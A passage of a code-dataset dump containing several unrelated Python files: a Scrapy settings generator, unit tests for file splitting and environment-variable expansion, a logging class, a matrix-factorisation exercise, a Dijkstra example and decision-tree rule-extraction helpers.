   def _create_setting_file(self, file_path, **kwargs):\n        \"\"\"\n        create setting file on the disk\n        :param file_path:\n        :param args:\n        :return:\n        \"\"\"\n        if kwargs['english_url_args'] :\n            english_url_args = \"\\\"\"+kwargs[\"english_url_args\"] +\"\\\"\"\n            kwargs['english_url_args'] = english_url_args\n        else:\n            kwargs['english_url_args'] = None\n        if kwargs['arabic_url_args']:\n            arabic_url_args =  \"\\\"\"+kwargs[\"arabic_url_args\"] +\"\\\"\"\n            kwargs['arabic_url_args'] =  arabic_url_args\n        else:\n          kwargs['arabic_url_args'] = None\n\n        if kwargs['use_language_cookies']:\n            english_language_cookie = \"\"\"\n                {{'name':\"{english_cookie_name}\", 'value': \"{english_cookie_value}\",\n                'domain': \".{allowed_domains[0]}\", 'path': '/'}}\n                \"\"\".format(**kwargs)\n            arabic_language_cookie = \"\"\"\n                {{'name': \"{arabic_cookie_name}\", 'value': \"{arabic_cookie_value}\",\n                'domain': '.{allowed_domains[0]}', 'path': '/'}}\n                \"\"\".format(**kwargs)\n        else:\n            english_language_cookie = None\n            arabic_language_cookie = None\n        if kwargs['use_currency_cookies']:\n            currency_cookie = \"\"\"\n                {{'name':\"{currency_cookie_name}\", 'value': \"{currency_cookie_value}\",\n                'domain': \".{allowed_domains[0]}\", 'path': '/'}}\n                \"\"\".format(**kwargs)\n        else:\n            currency_cookie = None\n\n        if kwargs['use_language_cookies'] and kwargs['use_currency_cookies']:\n            general_cookie = \"\"\"\n                [{}, {}]\n                \"\"\".format(english_language_cookie,currency_cookie)\n        elif kwargs['use_language_cookies']:\n            general_cookie = \"\"\"\n                [{}]\n                \"\"\".format(english_language_cookie)\n            if english_language_cookie:\n                english_language_cookie = \"[\"+english_language_cookie+\"]\"\n            if arabic_language_cookie:\n                arabic_language_cookie = \"[\"+arabic_language_cookie+\"]\"\n        elif kwargs['use_currency_cookies']:\n            general_cookie = \"\"\"\n                [{currency_cookie}]\n                \"\"\".format(currency_cookie)\n            currency_cookie = [currency_cookie]\n        else:\n            general_cookie = None\n\n        kwargs.setdefault('general_cookie', general_cookie)\n        kwargs.setdefault('english_language_cookie', english_language_cookie)\n        kwargs.setdefault('arabic_language_cookie', arabic_language_cookie)\n        kwargs.setdefault('currency_cookie', currency_cookie)\n\n        merchant_setting = MERCHANT_SETTING_BASE.format(**kwargs)\n\n        with open(file_path, 'w') as f:\n            f.write(merchant_setting)\n","sub_path":"slyd/slyd/scrapelyd.py","file_name":"scrapelyd.py","file_ext":"py","file_size_in_byte":10906,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"128411090","text":"import unittest\nimport tempfile\nimport shutil\nimport os\n\nfrom splits import SplitReader, SplitWriter\n\n\nclass TestMultiReader(unittest.TestCase):\n\n    def setUp(self):\n        self.temp_dir_path = tempfile.mkdtemp()\n        self.path = os.path.join(self.temp_dir_path, 'foo')\n        os.makedirs(self.path)\n\n        self.writer = SplitWriter(self.path, suffix='.txt', lines_per_file=2)\n        self.writer.writelines([str(x) for x in range(0, 10)])\n        self.writer.close()\n\n        self.reader = SplitReader(self.path + '.manifest')\n\n    def tearDown(self):\n        self.reader.close()\n        shutil.rmtree(self.temp_dir_path)\n\n    def test_read_lines(self):\n        lines = self.reader.readlines()\n\n        self.assertEquals(len(lines), 10)\n        for index, x in enumerate(lines):\n            self.assertEquals(x, str(index))\n\n    def test_read(self):\n        lines = self.reader.read()\n\n        self.assertEquals(len(lines.split('\\n')), 10)\n        for index, x in enumerate(lines.split('\\n')):\n            self.assertEquals(x, str(index))\n","sub_path":"test/test_readers.py","file_name":"test_readers.py","file_ext":"py","file_size_in_byte":1048,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"437335168","text":"# Copyright (c) 2015-2019 Patricio Cubillos and contributors.\n# MC3 is open-source software under the MIT license (see LICENSE).\n\n__all__ = [\"Log\"]\n\nimport sys\nimport time\nimport traceback\nimport textwrap\n\nimport numpy as np\n\n\nclass Log():\n  \"\"\"\n  Dual file/stdout logging class with conditional printing.\n  \"\"\"\n  def __init__(self, logname, verb=1, append=False, width=70):\n    \"\"\"\n    Parameters\n    ----------\n    logname: String\n       Name of FILE pointer where to store log entries. Set to None to\n       print only to stdout.\n    verb: Integer\n       Conditional threshold to print the message.  Print only if\n       verblevel is positive.\n    append: Bool\n       If true, do not overrite logname file if it already exists.\n    width: Integer\n       Maximum length of each line of text (longer texts will be break\n       down into multiple lines).\n    \"\"\"\n    #self.logname = os.path.realpath(logname)\n    self.logname = logname\n    if self.logname is not None:\n      if append:\n        self.file = open(self.logname, \"aw\")\n      else:\n        self.file = open(self.logname, \"w\")\n    else:\n      self.file = None\n    self.verb = verb\n    self.indent = 0\n    self.width  = width\n    self.warnings = []\n    self.sep = 70*\":\"  # Warning separator\n\n\n  def write(self, text):\n    \"\"\"\n    Write and flush text to stdout and FILE pointer if it exists.\n\n    Parameters\n    ----------\n    text: String\n       Text to write.\n    \"\"\"\n    # Print to screen and file:\n    print(text)\n    sys.stdout.flush()\n    # Print to file, if requested:\n    if self.file is not None:\n      self.file.write(text + \"\\n\")\n      self.file.flush()\n\n\n  def msg(self, message, verb=1, indent=None, noprint=False,\n          si=None, width=None):\n    \"\"\"\n    Conditional message printing to screen and to file.\n\n    Parameters\n    ----------\n    message: String\n       String to be printed.\n    verb: Integer\n       Required verbosity level: print only if self.verb >= verb.\n    indent: Integer\n       Number of blank spaces to indent the printed message.\n    noprint: Boolean\n       If True, do not print and return the string instead.\n    si: Integer\n       Sub-sequent lines indentation.\n    width: Integer\n       If not None, override text width (only for this specific call).\n\n    Returns\n    -------\n    text: String\n       If noprint is True, return the formatted output string.\n    \"\"\"\n    if self.verb < verb:\n      return\n\n    if indent is None:\n      indent = self.indent\n    if si is None:\n      si = self.indent\n    if width is None:\n      width = self.width\n\n    # Indentation texts:\n    indspace = \" \"*indent\n    sind     = \" \"*si\n\n    # Break down the input text into the different sentences (line-breaks):\n    sentences = message.splitlines()\n\n    # Output text to be printed:\n    msg = []\n    for sentence in sentences:\n      msg.append(textwrap.fill(sentence,\n                               break_long_words=False,\n                               break_on_hyphens=False,\n                               initial_indent=indspace,\n                               subsequent_indent=sind,\n                               width=width))\n    text = \"\\n\".join(msg)\n\n    # Do not print, just return the string:\n    if noprint:\n      return text\n    # Print to screen and file:\n    self.write(text)\n\n\n  def warning(self, message):\n    \"\"\"\n    Print a warning message surrounded by colon bands.\n\n    Parameters\n    ----------\n    message: String\n       String to be printed.\n    \"\"\"\n    if self.verb < 0:\n      return\n\n    # Format the sub-text message:\n    subtext = self.msg(message, verb=1, indent=4, noprint=True)\n    # Add the warning surroundings:\n    text = (\"\\n{:s}\"\n            \"\\n  Warning:\"\n            \"\\n{:s}\"\n            \"\\n{:s}\\n\".format(self.sep, subtext, self.sep))\n\n    # Store warnings:\n    self.warnings.append(subtext)\n\n    # Print to screen and file:\n    self.write(text)\n\n\n  def error(self, message, tracklev=-2):\n    \"\"\"\n    Pretty-print error message and end the code execution.\n\n    Parameters\n    ----------\n    message: String\n       String to be printed.\n    tracklev: Integer\n       Traceback level of error.\n    \"\"\"\n    # Trace back the file, function, and line where the error source:\n    trace = traceback.extract_stack()\n    # Extract fields:\n    modpath  = trace[tracklev][0]\n    modname  = modpath[modpath.rfind('/')+1:]\n    funcname = trace[tracklev][2]\n    linenum  = trace[tracklev][1]\n\n    # Generate string to print:\n    subtext = self.msg(message, verb=1, indent=4, noprint=True)\n    text = (\"\\n{:s}\"\n            \"\\n  Error in module: '{:s}', function: '{:s}', line: {:d}\"\n            \"\\n{:s}\"\n            \"\\n{:s}\".\n            format(self.sep, modname, funcname, linenum, subtext, self.sep))\n\n    # Print to screen and file:\n    self.write(text)\n    # Close and exit:\n    self.close()\n    sys.exit(0)\n\n\n  def progressbar(self, frac):\n    \"\"\"\n    Print out to screen [and file] a progress bar, percentage,\n    and current time.\n\n    Parameters\n    ----------\n    frac: Float\n       Fraction of the task that has been completed, ranging from 0.0 (none)\n       to 1.0 (completed).\n    \"\"\"\n    if self.verb < 1:\n      return\n    barlen = int(np.clip(round(10*frac), 0, 10))\n    bar = \":\"*barlen + \" \"*(10-barlen)\n\n    text = \"\\n[{:s}] {:5.1f}% completed  ({:s})\".format(bar, 100*frac,\n                                                        time.ctime())\n    # Print to screen and to file:\n    self.write(text)\n\n\n  def close(self):\n    \"\"\"\n    Close log FILE pointer.\n    \"\"\"\n    if self.file is not None:\n      self.file.close()\n","sub_path":"MCcubed/utils/log.py","file_name":"log.py","file_ext":"py","file_size_in_byte":5545,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"23860277","text":"from __future__ import print_function\nimport numpy as np\nimport pandas as pd\nfrom pandas import DataFrame\nfrom itertools import product\n\n\n\ndef main():\n\tprint('\\n' + '=' * 60 + ' Question 1')\n\tr = {'Customer': ['Jake', 'Clara', 'Kelsey', 'Ann', 'Jessica'],\n\t     'Taylor': [5, 2, 5, 2, 2], 'Miranda': [None, None, 5, 3, 1],\n\t     'Carrie': [5, None, 5, None, None], 'Jhené': [2, 4, 2, 5, 5], 'The Weeknd': [2, 5, None, 5, None]}\n\n\tprint('\\n(R^) Artist Ratings')\n\tR = DataFrame(r, columns=['Customer', 'Taylor', 'Miranda', 'Carrie', 'Jhené', 'The Weeknd'])\n\tR = R.set_index('Customer')\n\tprint(R)\n\n\tprint('\\n' + '=' * 60 + ' Question 2')\n\n\tprint('\\n(P) Customer Genre Preferences')\n\tp = {'Customer': ['Jake', 'Clara', 'Kelsey', 'Angel', 'Jordyn'], 'Country': [5, 2, 5, 2.5, 1.5],\n\t     'PBR&B': [2, 4.5, 2, 5, 5]}\n\tP = DataFrame(p)\n\tP = P.set_index('Customer')\n\tprint(P)\n\n\tprint('\\n(Q) Artist Genre Classifications')\n\tq = {'Artist': ['Taylor', 'Miranda', 'Carrie', 'Jhené', 'The Weeknd'],\n\t     'Country': [0.90, 0.98, 0.95, 0.01, 0.03],\n\t     'PBR&B': [0.05, 0.00, 0.03, 0.99, 0.98]}\n\tQ = DataFrame(q)\n\tQ = Q.set_index('Artist')\n\tprint(Q)\n\n\tprint('\\n(R^) Artist Recommendations')\n\tres = P.dot(Q.T)\n\tprint(res)\n\n\n\t# R = DataFrame({'Customer': ['Jake', 'Clara', 'Kelsey', 'Angel', 'Jordyn'],\n\t#     'Taylor': [5, 2, 5, 2, 2], 'Miranda': [None, None, 5, 3, 1],\n\t#     'Carrie': [5, None, 5, None, None], 'Nicki': [2, 4, 2, 5, 5], 'Ariana': [2, 5, None, 5, None]}).set_index('Customer')\n\n\tR = pd.read_csv('music_ratings.csv',header=0, index_col=0)\n\n\n\n\tdef matrix_factorization(R, K, steps=5000, alpha=0.0002, beta=0.02):\n\t\tR.fillna(0, inplace=True)\n\t\trows = R.index.values\n\t\tcols = R.columns.values\n\t\teij = DataFrame(0, index=rows, columns=cols)\n\t\tP = DataFrame(np.random.rand(len(R), K), index=R.index.values)\n\t\tQ = DataFrame(np.random.rand(len(R.columns), K), index=R.columns.values)\n\t\tfor step in range(steps):\n\t\t\tR_hat = P.dot(Q.T)\n\t\t\tfor row, col in product(rows, cols):\n\t\t\t\tif R.loc[row, col] > 0:\n\t\t\t\t\te = R.loc[row, col] - R_hat.loc[row, col]\n\t\t\t\t\tfor k in range(K):\n\t\t\t\t\t\tP.loc[row, k] += alpha * (2 * e * Q.loc[col, k] - beta * P.loc[row, k])\n\t\t\t\t\t\tQ.loc[col, k] += alpha * (2 * e * P.loc[row, k] - beta * Q.loc[col, k])\n\t\t\t\t\teij.loc[row, col] = e\n\t\t\tP.multiply(Q)\n\t\t\teij2 = eij.apply(np.square)\n\t\t\te = np.nansum(eij2.values)\n\t\t\te2 = (beta / K) * (P.apply(np.square).values.sum() + Q.apply(np.square).values.sum())\n\t\t\te += e2\n\n\t\t\tif step % 10 == 0:\n\t\t\t\t# P.dot(Q.T).round(2).to_csv('/Users/jrgou/Dropbox/Data/e.csv')\n\t\t\t\t# P.to_csv('/Users/jrgou/Dropbox/Data/p.csv')\n\t\t\t\t# Q.to_csv('/Users/jrgou/Dropbox/Data/q.csv')\n\t\t\t\t# with open('/Users/jrgou/Dropbox/Data/stats.txt', 'a') as f:\n\t\t\t\t# \tf.write('step:' + str(step) + ' e:' + str(e) + ' e2:' + str(e2) + '\\n')\n\t\t\t\tprint('step:' + str(step) + ' e:' + str(e) + ' e2:' + str(e2))\n\n\t\treturn P, Q\n\n\n\n\tmatrix_factorization(R, 2, steps=500000)\n\nif __name__ == '__main__':\n\tmain()","sub_path":"matrix_mult.py","file_name":"matrix_mult.py","file_ext":"py","file_size_in_byte":2931,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"640032467","text":"import pathlib\nimport sys\n\nimport pytest\n\nfrom pdm import utils\nfrom pdm.cli import utils as cli_utils\nfrom pdm.exceptions import PdmException\n\n\n@pytest.mark.parametrize(\n    \"given,expected\",\n    [\n        (\"test\", \"test\"),\n        (\"\", \"\"),\n        (\"${FOO}\", \"hello\"),\n        (\"$FOO\", \"$FOO\"),\n        (\"${BAR}\", \"${BAR}\"),\n        (\"%FOO%\", \"%FOO%\"),\n        (\"${FOO}_${FOO}\", \"hello_hello\"),\n    ],\n)\ndef test_expand_env_vars(given, expected, monkeypatch):\n    monkeypatch.setenv(\"FOO\", \"hello\")\n    assert utils.expand_env_vars(given) == expected\n\n\n@pytest.mark.parametrize(\n    \"given,expected\",\n    [\n        (\"https://example.org/path?arg=1\", \"https://example.org/path?arg=1\"),\n        (\n            \"https://${FOO}@example.org/path?arg=1\",\n            \"https://hello@example.org/path?arg=1\",\n        ),\n        (\n            \"https://${FOO}:${BAR}@example.org/path?arg=1\",\n            \"https://hello:wo%3Arld@example.org/path?arg=1\",\n        ),\n        (\n            \"https://${FOOBAR}@example.org/path?arg=1\",\n            \"https://%24%7BFOOBAR%7D@example.org/path?arg=1\",\n        ),\n    ],\n)\ndef test_expend_env_vars_in_auth(given, expected, monkeypatch):\n    monkeypatch.setenv(\"FOO\", \"hello\")\n    monkeypatch.setenv(\"BAR\", \"wo:rld\")\n    assert utils.expand_env_vars_in_auth(given) == expected\n\n\ndef test_find_python_in_path(tmp_path):\n\n    assert (\n        cli_utils.find_python_in_path(sys.executable)\n        == pathlib.Path(sys.executable).as_posix()\n    )\n    assert (\n        cli_utils.find_python_in_path(sys.prefix)\n        .lower()\n        .startswith(pathlib.Path(sys.executable).as_posix().lower())\n    )\n    with pytest.raises(PdmException):\n        cli_utils.find_python_in_path(tmp_path)\n","sub_path":"tests/test_utils.py","file_name":"test_utils.py","file_ext":"py","file_size_in_byte":1715,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"75944723","text":"from math import inf\n\n\n# Dijkstra Algorithm to find shortest path\n#\n# 1) Assign zero to starting node and infinity (∞) to all other nodes\n# 2) Add all nodes to non-visited priority queue - Q\n# 3) While Q is not empty:\n#       current_node = extract (remove) min from Q (which is the starting node at first)\n#       set the min dist. to all the neighbors from the current node\n\ndef extract_min(Q, distance):\n    pos = 0\n    for i in range(len(Q)):\n        if distance[Q[i]] < distance[Q[pos]]:\n            pos = i\n    return Q.pop(pos)\n\n\ndef dijkstra(vertices, edges, start):\n    adj = {}\n    distance = {}\n    queue = []\n    for vertex in vertices:\n        adj[vertex] = set()\n        queue.append(vertex)\n        if vertex == start:\n            distance[vertex] = 0\n        else:\n            distance[vertex] = inf\n\n    weights = {}\n    for e in edges:\n        adj[e[0]].add(e[1])\n        weights[(e[0], e[1])] = e[2]\n\n    paths = []\n    while queue:\n        u = extract_min(queue, distance)\n        paths.append((u, distance[u]))\n        for v in adj[u]:\n            w = weights[(u, v)]\n            if distance[u] + w < distance[v]:\n                distance[v] = distance[u] + w\n\n    print(\"Shortest distances from A:\")\n    paths.sort()\n    return paths\n\n\n# Graph:\n#        _B-------D\n#      /` |       |\n#    A<   |       |\n#      \\_ |       |\n#        `C-------E\n\nvertices = ['A', 'B', 'C', 'D', 'E']\nedges = [['A', 'B', 10],\n         ['A', 'C', 3],\n         ['B', 'C', 1],\n         ['B', 'D', 2],\n         ['C', 'B', 4],\n         ['C', 'D', 8],\n         ['C', 'E', 2],\n         ['D', 'E', 7],\n         ['E', 'D', 9]]\n\n# find shortest paths from 'A' to all other nodes\nshortest_paths = dijkstra(vertices, edges, 'A')\nprint(shortest_paths)\n","sub_path":"Ch24. Single-Source Shortest Paths/lec16_dijkstra.py","file_name":"lec16_dijkstra.py","file_ext":"py","file_size_in_byte":1745,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"99108643","text":"import os\nimport numpy as np\nimport pandas as pd\nimport csv\nfrom sklearn import tree\nfrom sklearn.model_selection import GridSearchCV, RandomizedSearchCV\nfrom scipy.stats import uniform, norm\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.metrics import plot_confusion_matrix\nimport matplotlib.pyplot as plt\nfrom sklearn.metrics import f1_score\nfrom sklearn.metrics import precision_score\nfrom sklearn.metrics import recall_score\nfrom sklearn.metrics import roc_auc_score\nfrom imblearn.over_sampling import SMOTE, RandomOverSampler\nimport matplotlib.pyplot as plt\nfrom sklearn.tree import export_text\nfrom custom_models import *\nfrom statistics import mode\n\n\"\"\"\nConverts the labels to binary for one vs rest models\n\nParameters:\ny_train - input data\nlabel - the theme of choice\n\nReturns: binary list of labels for one vs rest models\n\"\"\"\ndef ovr_labels(y_train, label):\n    ovr_list = np.array(list(map(int,y_train == label)))\n    return ovr_list\n\n\"\"\"\nThis function extracts the features and labels from a csv file.\n\nParameters:\nfilename : string - file to read from\nwith_label : boolean - whether the file has labels or not\n\nReturns:\n- numpy arrays containing the features and labels if with_label is True\n- numpy arrays containing the features if with_label is False\n\"\"\"\ndef extract_data(filename,with_label=True):\n    data = []    \n    f = open(filename,\"r\")\n    d_reader = csv.reader(f,delimiter=\",\",quotechar=\"\\\"\")\n    first = True\n    for line in d_reader:\n        if first:\n            first = False\n            continue\n        data.append(line)\n#     print(np.shape(data))\n    col_count = 324\n    x_train = np.empty((0,col_count))\n    y_train = np.array([])\n\n    for line in data:\n        if with_label:\n            x_train = np.append(x_train,np.array(list(map(float,line[1:-2]))).reshape((1,col_count)),axis=0)\n            y_train = np.append(y_train,int(float(line[-1])))\n        else:\n            try:\n                x_train = np.append(x_train,np.array(list(map(float,line[1:]))).reshape((1,col_count)),axis=0)\n            except ValueError:\n                print(line[1:])\n#     print(x_train.shape)\n#     print(y_train.shape)\n    if with_label:\n        return x_train, y_train\n    else:\n        return x_train\n    #print(y_train)\n    \n\"\"\"\nTrains a model using the given data and a hyperparameter search object\n\nParameters:\nx_train - input data\ny_train - target labels for data\nhp_search - model_selection object\nname - name of the experiment\n\nReturns: best estimator for the given data given the model selector\n\"\"\"\ndef train_model(x_train,y_train,hp_search,name,verbose=True):\n    hp_search.fit(x_train,y_train)\n    print(\"Best Score: {:.4f}\".format(hp_search.best_score_))\n    if verbose:\n        for k,v in hp_search.best_params_.items():\n            print(\"{} => {}\".format(k,v))\n        print(\"Splits: {}\".format(hp_search.n_splits_))\n    y_out = hp_search.predict(x_train)\n    print(\"{} Train Accuracy: {:.4f}%\".format(name,np.mean(y_out == y_train) * 100.0))\n    return hp_search.best_estimator_\n\n\"\"\"\nTrains a model using the given data and a hyperparameter search object\n\n@ -84,13 +95,24 @@ name - name of the test run\nx_train - input data\ny_train - target labels for data\nmodel_selector - model_selection object\ntheme - themes selected for the one vs rest model\n\"\"\"\n\ndef print_res(name,x_train,y_train,model_selector,theme,verbose=True):\n    train_model(x_train,y_train,model_selector,name,verbose)\n\n    # display confusion matrix\n    if verbose:\n        disp = plot_confusion_matrix(model_selector, x_train, y_train,\n                                 display_labels=[theme,\"Not \"+theme],\n                                 cmap=plt.cm.Blues,\n                                 normalize='true')\n\ndef print_res_6_way(name,x_train,y_train,model_selector,theme,verbose=True):\n    train_model(x_train,y_train,model_selector,name,verbose)\n\n    # display confusion matrix\n    if verbose:\n        disp = plot_confusion_matrix(model_selector, x_train, y_train,\n                                 display_labels=theme,\n                                 cmap=plt.cm.Blues,\n                                 normalize='true')\n\"\"\"\nTests and prints the result of the training and model selection.\n\nParameters:\nname - name of the test run\nx_test - input data\ny_test - target labels for data\nmodel_selector - model_selection object\ntheme - theme selected for the one vs rest model\n\"\"\"\ndef test_res(name,x_test,y_test,model_selector,theme,verbose=True):\n    y_pred = model_selector.predict(x_test)\n    print(y_pred)\n    print(y_test)\n    # display confusion matrix\n    print(\"{} Validation Accuracy: {:.2f}%\".format(name,np.mean(y_pred == y_test) * 100.0))\n    print(\"{} F1-score: {:.2f}\".format(name,f1_score(y_test, y_pred, average='weighted')))\n    print(\"{} Precision Score: {:.2f}\".format(name,precision_score(y_test, y_pred, average='weighted')))\n    print(\"{} Recall Score: {:.2f}\".format(name,recall_score(y_test, y_pred, average='weighted')))\n    print(\"{} ROC-AUC Score: {:.2f}\".format(name,roc_auc_score(y_test, y_pred, average='weighted')))\n    if verbose:\n        disp = plot_confusion_matrix(model_selector, x_test, y_test,\n                                 display_labels=[\"Not \"+theme,theme],\n                                 cmap=plt.cm.Blues,\n                                 normalize='true')\n    return np.mean(y_pred == y_test) * 100.0, f1_score(y_test, y_pred, average='weighted')\n\n    \ndef test_res_6_way(name,x_test,y_test,model_selector,theme,verbose=True):\n    y_pred = model_selector.predict(x_test)\n    print(y_pred)\n    print(y_test)\n    # display confusion matrix\n    print(\"{} Validation Accuracy: {:.2f}%\".format(name,np.mean(y_pred == y_test) * 100.0))\n    print(\"{} F1-score: {:.2f}\".format(name,f1_score(y_test, y_pred, average='weighted')))\n    print(\"{} Precision Score: {:.2f}\".format(name,precision_score(y_test, y_pred, average='weighted')))\n    print(\"{} Recall Score: {:.2f}\".format(name,recall_score(y_test, y_pred, average='weighted')))\n    print(\"{} ROC-AUC Score: {:.2f}\".format(name,roc_auc_score(y_test, y_pred, average='weighted')))\n    if verbose:\n        disp = plot_confusion_matrix(model_selector, x_test, y_test,\n                                 display_labels=theme,\n                                 cmap=plt.cm.Blues,\n                                 normalize='true')\n    return np.mean(y_pred == y_test) * 100.0, f1_score(y_test, y_pred, average='weighted')\n\"\"\"\nThis function displays a decision tree.\n\nParameters:\ndt : DecisionTreeClassifier - decision tree object\nfilename : string - file to read from\n\"\"\"\ndef disp_tree(dt,filename):\n    classes = ['Brave', 'Cheerful', 'Fearful', 'Love', 'Sadness', 'Calm']\n    file = pd.read_csv(filename)\n    features = list(file)\n    fig, ax = plt.subplots(figsize=(40, 40))\n    treefig = tree.plot_tree(dt, class_names=classes, feature_names=features[1:-3], fontsize=12, ax=ax)\n    plt.show()\n\"\"\"\nThis function displays the decision tree in text form.\n\nParameters:\nclassifier : DecisionTreeClassifier - decision tree object\nfeatures : list - the list of features used by the classifer\n\"\"\"\ndef disp_tree_text(classifier, features):\n    tree_rules = export_text(classifier, feature_names=features)\n    print(tree_rules)\n\"\"\"\nThis function returns the decision tree in text form.\n\nParameters:\nclassifier : DecisionTreeClassifier - decision tree object\nfeatures : list - the list of features used by the classifer\n\nReturns:\nThe decision tree in text form.\n\"\"\"\n\ndef tree_to_text(classifier, features):\n    tree_rules = export_text(classifier, feature_names=features, max_depth=99)\n    return  tree_rules\n\n\"\"\"\nThis function extracts the individual rules from the decision tree.\n\nParameter:\nrules: the decision tree in text form\n\nReturns:\nThe rules used by the decision tree.\n\n\"\"\"\ndef extract_rules(rules):\n    line = []\n    lines = []\n    for i in rules:\n        if i != '\\n' and not i == '|' and not i == '-':\n            line.append(i)\n        if i == '\\n':\n            str_line = ''.join(str(e) for e in line)\n            str_line = str_line.lstrip()\n            lines.append(str_line)\n            line = []\n\n    counter = 0\n    rule_sets = {}\n    rule_set = []\n    for i in lines:\n        rule_set.append(i)\n        if 'class' in i:\n            rule_sets[str(counter)] = rule_set\n            counter+=1\n            rule_set = []\n    return rule_sets\n\ndef create_rule_obj(tree, features, data, labels, pred, total):\n    dataset = pd.read_csv(\"FinalTrainingSet.csv\")\n    col_names = dataset.columns.tolist()\n    tree_text = tree_to_text(tree, features)\n    rules = extract_rules(tree_text)\n    lists = []\n    label_support = get_label_support_6_way(total, dataset)\n    print(label_support)\n    for i in rules:\n        rule = rules[i]\n        left = get_antecedents(rule, features)\n        right = int(get_class_6_way(rule[-1]))\n        obj = Rule(left,right,data,pred,features,labels,label_support)\n        lists.append(obj)\n    return lists\n\n\ndef create_rule_obj_ovr(tree, features, data, theme, labels, pred, total):\n    dataset = pd.read_csv(\"FinalTrainingSet.csv\")\n    col_names = dataset.columns.tolist()\n    ovr_labels = convert_to_ovr(pred, theme)\n    tree_text = tree_to_text(tree, features)\n    rules = extract_rules(tree_text)\n    lists = []\n    label_support = get_label_support(theme+1, total, dataset)\n    ovr_labels_text = convert_to_ovr_text(labels, theme)\n    for i in rules:\n        rule = rules[i]\n        left = get_antecedents(rule, features)\n        right = get_class(rule[-1], theme)\n        obj = Rule(left,right,data,ovr_labels,features,ovr_labels_text,label_support)\n        lists.append(obj)\n    return lists\n\ndef convert_to_ovr_text(labels, theme):\n    is_theme = 'is'+labels[theme]\n    not_theme = 'not'+labels[theme]\n    ovr_labels = [not_theme, is_theme]\n    return ovr_labels\n    \n\ndef convert_to_ovr(labels, theme):\n    ovr_labels = []\n    for i in labels:\n        if i == theme:\n            ovr_labels.append(2)\n        else:\n            ovr_labels.append(1)\n    return ovr_labels\n\ndef get_label_support_6_way(total, dataset):\n    cols = dataset.columns\n    col = cols.tolist()\n    col[-1] = 'Themes'\n    dataset.columns = col\n    label_support = []\n    for i in range(1,7):\n        query = 'not Themes == '+str(i)\n        x = db_lookup(query, dataset)\n        label_support.append(x/total)\n    \n    return label_support\n\ndef get_label_support(theme, total,dataset):\n    cols = dataset.columns\n    col = cols.tolist()\n    col[-1] = 'Themes'\n    dataset.columns = col\n    label_support = []\n    query = 'not Themes == '+str(theme)\n    x = db_lookup(query, dataset)\n    label_support.append(x/total)\n    query = 'Themes == '+str(theme)\n    x = db_lookup(query, dataset)    \n    label_support.append(x/total)\n    return label_support\n\ndef get_class(rule, theme):\n    if '0' in rule:\n        return 1\n    elif '1' in rule:\n        return 2\n\ndef get_class_6_way(rule):\n    splits = rule.split(\":\")\n    cls = splits[1].lstrip()\n    return float(cls)\n\ndef get_antecedents(rule, features):\n    list = []\n    for j in range(0,len(rule)-1):\n        left = []\n        x = rule[j]\n        if '<=' in x:\n            splits = x.split('<=')\n            name = splits[0].rstrip()\n            thresh = splits[1].rstrip()\n            col = features.index(name)\n            left.append(col)\n            left.append('<=')\n            left.append(float(thresh))\n        elif '>' in x:\n            splits = x.split('>')\n            name = splits[0].rstrip()\n            thresh = splits[1].rstrip()\n            col = features.index(name)\n            left.append(col)\n            left.append('>')\n            left.append(float(thresh))\n        list.append(left)\n    return list\n\ndef eval_rules(rules, x_train, ovr_train):\n    classifier = []\n    errors = []\n    data = x_train\n    labels = ovr_train\n    ignore = []\n    matches = 0\n    for rule in rules:\n        delete = True\n        error = 0\n        pred = rule.right - 1\n        row = 0\n        for datum in data:\n            delete = True\n            if not row in ignore:\n                for cons in rule.left:\n                    if cons[1] == '<=':\n                        if not datum[cons[0]] <= cons[2] and labels[row] == pred:\n                            delete = False\n                    elif cons[1] == '>':\n                        if not datum[cons[0]] > cons[2] and labels[row] == pred:\n                            delete = False\n                    if not delete:\n                        break\n                if delete:\n                    ignore.append(row)\n                    matches+=1\n                else:\n                    error+=1\n            row+=1\n        classifier.append((rule, error))\n    return classifier, matches\n\ndef predict_ovr(rules, data, labels):\n    pred = []\n    majority = mode(labels)\n    for datum in data:\n        for rule in rules:\n            x = True\n            for cons in rule.left:\n                if cons[1] == \"<=\" and not datum[cons[0]] <= cons[2] or \\\n                cons[1] == \">\" and not datum[cons[0]] > cons[2]:\n                    x = False\n                    break\n            if x:\n                pred.append(rule.right-1)\n                break\n        if not x:\n            pred.append(majority)\n    return pred\n\ndef compute_accuracy(preds, labels):\n    count = 0\n    for j in range(0, len(preds)):\n        if preds[j] == labels[j]:\n            count+=1\n    print(count/len(labels))\n\ndef remove_unnecessary_rules(i, accuracy, x, y):\n    pos = 0\n    while pos < len(i):\n        popped = i.pop(pos)\n        mod, mod_acc = eval_rules(i, x, y)\n        if mod_acc < accuracy:\n            i.insert(pos, popped)\n            pos+=1\n    mod, mod_acc = eval_rules(i, x, y)\n    return (mod,mod_acc)\n\ndef comp_func(a, b):\n    if a.confidence > b.confidence:\n        return -1\n    elif a.confidence < b.confidence:\n        return 1\n    elif a.lift > b.lift:\n        return -1\n    elif a.lift < b.lift:\n        return 1\n    elif len(a.left) > len(b.left):\n        return 1\n    elif len(a.left) < len(b.left):\n        return -1\n    else:\n        return 0\n    \ndef print_classifiers(mod_clsfs, total):\n    model = 1\n    for mod in mod_clsfs:\n        print(\"MODEL NUMBER \",model,\":\")\n        num = 1\n        for i in mod[0]:\n            print(\"RULE NUMBER \", num,\":\")\n            print(i[0])\n            print(\"    error(s): \", i[1])\n            num+=1\n        print(\"TOTAL MATCHES: \",mod[1]/total*100,\"%\") \n        print()\n    \n\"\"\"\nThis function modifies the rules so that it can be used in the pandas.query() function.\n\nParameter:\nrule_sets: the rules of the decision tree\n\nReturns:\nThe modified rules.\n\n\"\"\"\ndef transform_rules(rule_sets):\n    for i in rule_sets:\n        for j in range(len(rule_sets[i])):\n            x = rule_sets[i][j]\n            if \"<=\" in x:\n                splits = x.split(\"<=\")\n                splits[0] = splits[0].rstrip()\n                splits[1] = 